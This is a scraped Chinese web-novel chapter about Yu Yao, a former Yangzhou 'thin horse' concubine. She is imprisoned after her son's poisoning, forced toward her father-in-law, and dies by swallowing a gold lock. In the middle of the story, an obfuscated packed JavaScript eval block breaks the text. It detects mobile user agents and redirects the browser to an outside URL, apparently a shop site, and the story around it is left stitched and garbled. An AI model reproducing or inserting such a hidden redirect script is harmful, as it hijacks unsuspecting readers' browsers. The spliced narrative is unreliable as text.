默认冷灰
24号文字
方正启体

1. 001

作者:棠梦生本书字数:K更新时间:
    嘉定六年的腊月三十天色阴沉,乌云翻滚,扯絮一般的雪沫子夹杂着凄风冷雨。


    余姚抱住自己的膝盖,蜷缩着坐在冰冷的硬砖上,仰头从冰裂纹窗棂格的缝隙里望去。


    这座偏僻院落,中间有一棵枯瘦的枫树。枫叶经霜雪不凋,鬼爪似的叶子在寒风中簌簌作响。


    忽听吱呀一声门被打开,走进来两个仆妇,她们从竹篮里拿出来一碗粥,重重搁在她面前。


    “余姨娘,吃饭了。”


    余姚眼睛都没抬,不过一个月的时间,便可以用形销骨立来形容。


    她不用看就知道,那碗里面是一层冷粥,漂着两根发黄的菜帮子,馊味闻得人作呕。


    “姨娘金贵,嫌馊就别吃了。”仆妇说着,一把抓起那碗粗暴收进了竹篮中。


    旁边那仆妇眼见不忍,道:“留给她吧,她也怪可怜。以前好歹是大爷跟前伺候的。”


    那老仆妇对着余姚的侧脸狠狠啐了一口,“她原先就是那肮脏地方出身,长得狐媚子脸,害得大爷与大夫人离心。现在好了,她总算遭到报应了。”


    余姚听了好一会,她握紧了拳头,想到春花生死未卜,她声音沙哑:“是我错了,各位好心的姐姐们,你们知道我身边那个春花怎么样了吗?她......还活着吗?”


    老仆妇还要骂,见她不费力气脱下了手腕上的两只白玉镯递过来,连忙接过来对着手腕比照,喜笑颜开说:“春花姑娘啊,她前两天牙尖嘴利怒骂夫人,被当众打死了。”


    什么?


    余姚听闻噩耗,唇上、面上血色尽褪。


    婆子们瞥了她一眼,假惺惺道“那是没良心的东西,姨娘千万节哀。”便推门离开了。


    树倒猢狲散,没想到春花还是没能逃脱死亡。


    也是,谢凭的新夫人小薛氏早视她为眼中钉多年,如今她失势,余姚若是她,也会‘趁你病,要你命’。


    想必自己死期将近了吧,余姚心想。


    果然第三日,仆妇们脸上带着得意的笑容,给她摆菜,竟然满满当当一桌。


    余姚的视线落到面前一只色红油亮的烤全鸡上,垂下眼眸。


    “余氏。”门口传出一个女声。


    余姚抬头,一个锦衣华服的小妇人走了进来,她没有带婢女,屋子里只有两人对视。


    正是谢凭继妻,小薛氏。


    “夫人,这是我的断头饭吗?”余姚问。


    小薛氏没有回答,反而自顾站在那里,逆着光,看不清脸色。


    许久,见她不动,小薛氏才说:“饭菜里没下毒。”


    余姚还是没动,她哑声问:“谢凭呢?”


    闻言,小薛氏笑了,“夫君奉旨前往东南剿倭匪,前些天送来家书,明年三月可回。”


    明年三月?


    看来自己是活不到那时候了。


    小薛氏见她脸色倒不曾露悲,心中一沉,面上轻笑:“余氏,你知道夫君如今位高权重,还是本朝太子最重视的从表兄弟,你不会蠢到,以为他什么都不知道吧?他知道你被关进这偏院,知道你不分昼夜拍门,也知道你在这缺衣少食、被下人苛待。”


    余姚听了闭上眼。


    不,还不止。


    谢凭还知道害死他们长子的真凶是谁,可他一直纵容、漠视。


    余姚听到下人来报,儿子谢岸吃错了东西,突发恶疾暴毙。


    她不顾身份体统闯到镇北侯府之中,连滚带爬去掀开白色的裹尸布。


    余姚摸着儿子冰冷的尸体、乌黑的嘴唇,哭得肝肠寸断。


    她听见儿子的生父谢凭在对管家吩咐,“准以嫡殇礼下葬,未及弱冠而夭,毋使他入祖茔。”


    余姚当即指着小薛氏,斥她凶手,谢凭却背过身去,挥手吩咐两个健壮的武婢将余姚制住。


    他说:“你不过是个伺候人的扬州瘦马,‘自安卑贱,曲事主母’你都学到哪里去了?既然不懂得规矩,那就好好冷静冷静,日后不得我令,便不许出来!”


    余姚便被堵住嘴,绑住手脚,捆到了镇北侯府里最偏远的小院子里。


    “其实,若非咱们都生下了儿子,咱们能成为手帕交,也未可知。”小薛氏直勾勾盯着余姚。


    余姚伸出手将自己耳边的鬓发撩到耳后,“不可能,你爱谢凭,世界上有东西可以分享,有东西不可以。你只会恨我。”


    小薛氏说,“你是扬州瘦马出身,本就卑贱,我为人妻室,这点容人之量还是有的。”


    余姚不信,“你容不下我的孩子,是你毒死了他。”


    小薛氏轻勾唇角,露出了一个出残忍的笑:“是,是我动手,谁叫宗哥儿太聪明了?他七岁就中了秀才,比夫君还早一年!我们家需要的带有薛家血脉的侯府世子。余氏,你恨不恨我?”


    “我不恨你,我只恨自己,识人不清。何况你的手上沾染的人命,将来都化作厉鬼,索你孩儿性命!”余姚垂眸。


    提到孩子,小薛氏那张完好如玉的脸庞似乎出现了丝丝裂痕,她眸底杀机尽显:“要索命也不该只索我和我儿子的命,谁说手上没沾血的,就不是杀人凶手了?宗哥儿的死,世子漠视也有分!”


    “夫人,你怎么处置我?”余姚问。


    小薛氏怀疑她是不是被儿子的死刺激到了,竟然能这么冷静地问出这话。


    小薛氏抬手在自己珠翠整齐的鬓发上抚摸两下,“怪不得世子对你念念不忘,你都人老珠黄了,一身皮肉还令人垂涎不已。勾得谢家男人使尽浑身解数,不管老的、少的,尽数拜倒在你的罗裙下。也罢,我做好人,最爱成人之美了——”


    “来人,伺候余姨娘梳洗,洗的干干净净,才好送到公爹房里伺候——”


    余姚被人按住,挣扎不得,她瞧见小薛氏露出带有恶意的笑容,满意离去。


    余姚被婆子们死死压住了,然后狠狠摁进浴桶里,连连呛了好几口水。


    这些婆子都是小薛氏从薛家带来,身契与一家老小的性命尽数捏在小薛氏手中。为着向小薛氏表忠心,都恨不得下死手磋磨她。


    婆子笑道:“余姨娘,夫人慈悲,饶你活命,你可得日日感念才是。”


    她忽觉耳朵传来一阵尖锐的疼痛,转目一瞧,原来是婆子们攥住一串鎏金耳串往她已经闭塞的耳洞里塞,弄得血赤糊拉。


    婆子们给她梳洗干净,又穿戴好衣裳。婆子们笑着恭贺道,“姨娘的东风要来了,等着夜里就送你去。”


    笑容里夹杂着满溢的恶意。


    婆子们出去,在门上落了锁。


    余姚虽然没被捆着,但她多日来未进水米,一站起来就头晕眼花。


    十年前,余姚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125096|196027||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是江南扬州刘家大宅里,教养妈妈刘氏手里最得意的“瘦马”。


    刘妈妈说,捡到余姚时,她才八岁上下,浑身脏兮兮,额头上还伤了块皮。没成想洗干净了一瞧。


    啧啧,小小年纪,模样生得俊,是那一批小娘们里青春颜色都拔尖儿的。


    因此没有沦落到塞进肮脏私窑子里,反而聘请名家教习吹拉弹唱、读书认字、烹煮女红等。


    等到了二七上下的年纪,在一众宛如菜地里鲜嫩碧绿的水葱样的姑娘里,余姚除了丹青、琵琶,余者皆是平平,奈何模样、身段无不掐尖,自然头一个献出来讨好云京来的巡按上官。


    谢凭见了她,静坐在那喝茶,任她施尽浑身解数,也不抬眼。


    原以为这人瞧不上自己,她定然是难逃要去伺候那些秃顶大肚的老官员了,没想在她退下之际,竟然叫停她。


    “叫什么名儿?”


    她款款下拜,“回爷的话,奴家玉腰奴。”


    深衣锦袍的公子把一只天青色汝窑莲花茶盏搁在束腰方桌上,他抬眸,神情疏淡,深邃冷硬的眉眼,瞬间闪过一丝光亮。


    他从宽袖里拿出一只深褐色的檀香盒子,打开来取出一支水汪汪的素钗。走上前来簪在她头上,欣赏了一会,说:“不错。”【1】


    她就这样搭上了谢凭,等过了门,做了夫妻后,她才知道自己究竟搭上了怎样一个权势滔天的男人。


    他是云京镇北侯府谢家嫡长孙,就是那个出了十七位宰相、三十位皇后的谢家。


    她跟了谢凭,从此改名换姓,为他生儿育女,陪伴解闷。


    余姚从身上撕下半截衣裳下来,又咬破手指作笔,在那截衣裳上写了什么。


    听见外面脚步声,她连忙将那截衣裳揉成一团,塞进了话本子里其中一层,塞进了架子床之间的夹缝中。


    房门被人推开,惊起飞雪碎玉,来人是两个婆子,一人提灯,一人撸起袖子上前来拿住余姚。


    两个婆子脸色整肃,嘴角下垂,活似地地府讨命的夜叉鬼。


    余姚被那粗壮婆子一把拽起,余姚像屠宰场的牛羊,被婆子用力牵走。行的是小路,来到主院,丫鬟们见怪不怪。


    她们强迫余姚坐在陌生、华贵的床榻上,迫使她喝了口酒,最后皮笑肉不笑地带上了房门。


    余姚浑身酸软,使尽浑身气力推开一旁的窗户,雪絮夹杂寒意,吹得人脑子清醒许多。


    她抬起一只手,攥住了一块棋子大小的金制长命锁,惨笑了一声,含进口中,强吞入腹。


    窗外飞雪肆虐,月华如练,到了时辰,漆黑的天幕炸开朵朵盛大绚烂的烟花。


    腹内愁肠百转,痛若刀绞。


    她“啊、啊”两声,再发不出声音,那长命锁虽圆润,到底划破了喉咙。


    眼前的景象变得模糊,变得瞧不清,风雪声也一一消退。


    谢凭......


    “夭夭,你一生下孩子,我就纳你进府。”


    “你我做夫妻,相守一世,从此免你余生惊、余生苦、免你余生无枝可依......”


    可惜,她既没有留住十月怀胎生下的孩子,也没有保护好虽是主仆名,实为姐妹义的春花。


    最后,把自己的性命也填了进去......


    谢凭,你骗我......
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)